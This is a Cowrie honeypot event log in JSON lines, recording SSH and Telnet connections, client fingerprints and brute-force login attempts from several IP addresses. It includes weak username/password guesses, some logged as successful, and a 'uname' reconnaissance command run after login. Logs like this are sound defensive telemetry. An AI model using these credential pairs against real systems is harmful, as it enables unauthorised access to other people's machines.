{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:08.091710Z","src_ip":"176.65.132.129","session":"672791374a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:08.523332Z","src_ip":"176.65.132.129","session":"672791374a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47838,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6a50f4f096","protocol":"telnet","message":"New connection: 45.58.127.90:47838 (10.17.0.5:23) [session: ed6a50f4f096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:09.560420Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:09.608194Z","src_ip":"176.65.132.129","session":"672791374a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd4e9b23134","protocol":"ssh","message":"New connection: 176.65.132.129:55864 (159.203.135.109:22) [session: ffd4e9b23134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:11.573660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:11.578452Z","src_ip":"176.65.132.129","session":"ffd4e9b23134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:11.660555Z","src_ip":"176.65.132.129","session":"ffd4e9b23134","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:11.907452Z","src_ip":"176.65.132.129","session":"ffd4e9b23134","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:12.114858Z","src_ip":"176.65.132.129","session":"ffd4e9b23134","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:12.119381Z","src_ip":"176.65.132.129","session":"ffd4e9b23134","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:12.205894Z","src_ip":"176.65.132.129","session":"ffd4e9b23134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:12.211128Z","src_ip":"176.65.132.129","session":"ffd4e9b23134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55868,"dst_ip":"159.203.135.109","dst_port":22,"session":"13eb0b2f57f3","protocol":"ssh","message":"New connection: 176.65.132.129:55868 (159.203.135.109:22) [session: 13eb0b2f57f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:14.995717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:15.005955Z","src_ip":"176.65.132.129","session":"13eb0b2f57f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:15.089707Z","src_ip":"176.65.132.129","session":"13eb0b2f57f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:15.337237Z","src_ip":"176.65.132.129","session":"13eb0b2f57f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:16.422979Z","src_ip":"176.65.132.129","session":"13eb0b2f57f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37862,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cb3c7bb871","protocol":"ssh","message":"New connection: 172.237.20.62:37862 (159.203.135.109:22) [session: d6cb3c7bb871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:16.438304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:16.446747Z","src_ip":"172.237.20.62","session":"d6cb3c7bb871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:16.621788Z","src_ip":"172.237.20.62","session":"d6cb3c7bb871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:17.100525Z","src_ip":"172.237.20.62","session":"d6cb3c7bb871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:18.263264Z","src_ip":"172.237.20.62","session":"d6cb3c7bb871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49338,"dst_ip":"159.203.135.109","dst_port":22,"session":"361acd23b36a","protocol":"ssh","message":"New connection: 176.65.132.129:49338 (159.203.135.109:22) [session: 361acd23b36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:18.523879Z"}
{"eventid":"cowrie.session.closed","duration":44.22434091567993,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:18.549337Z","src_ip":"45.58.127.90","session":"51eb0e394e79","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:18.615407Z","src_ip":"176.65.132.129","session":"361acd23b36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:18.619488Z","src_ip":"176.65.132.129","session":"361acd23b36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:18.966025Z","src_ip":"176.65.132.129","session":"361acd23b36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.142.30.146","src_port":35055,"dst_ip":"159.203.135.109","dst_port":23,"session":"871374d9d43f","protocol":"telnet","message":"New connection: 102.142.30.146:35055 (159.203.135.109:23) [session: 871374d9d43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:19.313818Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43346,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd53c5848d24","protocol":"telnet","message":"New connection: 45.58.127.90:43346 (10.17.0.5:23) [session: cd53c5848d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:19.888826Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:20.051422Z","src_ip":"176.65.132.129","session":"361acd23b36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43334,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f8bb4ca0ff","protocol":"telnet","message":"New connection: 45.58.127.90:43334 (10.17.0.5:23) [session: 96f8bb4ca0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:20.662813Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43350,"dst_ip":"10.17.0.5","dst_port":23,"session":"14557962720e","protocol":"telnet","message":"New connection: 45.58.127.90:43350 (10.17.0.5:23) [session: 14557962720e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:20.916829Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":50844,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae7e3484bcad","protocol":"telnet","message":"New connection: 172.104.93.159:50844 (159.203.135.109:23) [session: ae7e3484bcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:21.221123Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49344,"dst_ip":"159.203.135.109","dst_port":22,"session":"25bf550743d7","protocol":"ssh","message":"New connection: 176.65.132.129:49344 (159.203.135.109:22) [session: 25bf550743d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:21.979193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:21.993752Z","src_ip":"176.65.132.129","session":"25bf550743d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:22.076238Z","src_ip":"176.65.132.129","session":"25bf550743d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:22.324835Z","src_ip":"176.65.132.129","session":"25bf550743d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:23.409724Z","src_ip":"176.65.132.129","session":"25bf550743d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43356,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef3047e7be0b","protocol":"telnet","message":"New connection: 45.58.127.90:43356 (10.17.0.5:23) [session: ef3047e7be0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:23.677227Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49354,"dst_ip":"159.203.135.109","dst_port":22,"session":"86a22df8866e","protocol":"ssh","message":"New connection: 176.65.132.129:49354 (159.203.135.109:22) [session: 86a22df8866e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:25.457540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:25.463701Z","src_ip":"176.65.132.129","session":"86a22df8866e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:25.547044Z","src_ip":"176.65.132.129","session":"86a22df8866e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.62.225","src_port":4339,"dst_ip":"10.17.0.5","dst_port":23,"session":"1139bcad982c","protocol":"telnet","message":"New connection: 131.161.62.225:4339 (10.17.0.5:23) [session: 1139bcad982c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:25.782264Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:25.793974Z","src_ip":"176.65.132.129","session":"86a22df8866e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:26.011490Z","src_ip":"176.65.132.129","session":"86a22df8866e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:26.015303Z","src_ip":"176.65.132.129","session":"86a22df8866e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:42:26.101407Z","src_ip":"176.65.132.129","session":"86a22df8866e","protocol":"ssh"}
